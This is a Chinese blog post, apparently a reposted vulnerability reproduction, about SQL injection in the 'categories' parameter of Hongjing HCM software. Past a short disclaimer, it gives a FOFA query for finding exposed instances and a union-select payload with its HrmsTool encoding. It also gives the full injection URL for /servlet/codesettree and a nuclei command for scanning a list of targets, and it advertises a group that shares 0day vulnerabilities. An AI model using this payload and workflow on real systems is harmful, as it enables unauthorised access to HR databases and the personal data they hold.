漏洞复现 宏景HCM categories SQL注入

admin 2023年5月30日18:38:261 235 views字数 927阅读3分5秒阅读模式

0x01 阅读须知

融云安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

0x02 漏洞描述

宏景HCM 多维度组织维护便捷,机构图展示形式更加符合潮流;全模块适配海量数据库,数据的利用率和一致性进一步提高;UI焕新上线、应用全面升级。宏景HCM categories存在SQL注入漏洞攻击者可以从其中获取服务器权限。漏洞复现 宏景HCM categories SQL注入


0x03 漏洞复现

fofa"宏景软件 版权所有"

1.使用github上的hrmstool加解密工具进行转换

https://github.com/vaycore/HrmsTool
1' union all select 'hellohongjingHcm',db_name()--
java -jar HrmsTool.jar -e "1' union all select 'hellohongjingHcm',db_name()--"=>~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cdb~5fname~28~29~2d~2d

漏洞复现 宏景HCM categories SQL注入

2.执行POC查询hellohongjingHcm和db_name(),得到查询结果

/servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cdb~5fname~28~29~2d~2d&codesetid=1&flag=c&parentid=-1&status=1

漏洞复现 宏景HCM categories SQL注入

3.nuclei验证脚本已发表于知识星球

nuclei.exe -t hongjingHcm-categories-sql.yaml -l subs.txt -stats

漏洞复现 宏景HCM categories SQL注入

网络安全神兵利器分享
网络安全漏洞N/0day分享
    加入星球请扫描下方二维码,更多精,敬请期待!
👇👇👇

漏洞复现 宏景HCM categories SQL注入


原文始发于微信公众号(阿乐你好):漏洞复现 宏景HCM categories SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日18:38:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 宏景HCM categories SQL注入https://cn-sec.com/archives/1774877.html
评论  1  访客  1
    • 匿名网友 1

      又发现一个类似的工具 https://github.com/Mr-xn/HCMendetool

    发表评论

    匿名网友 填写信息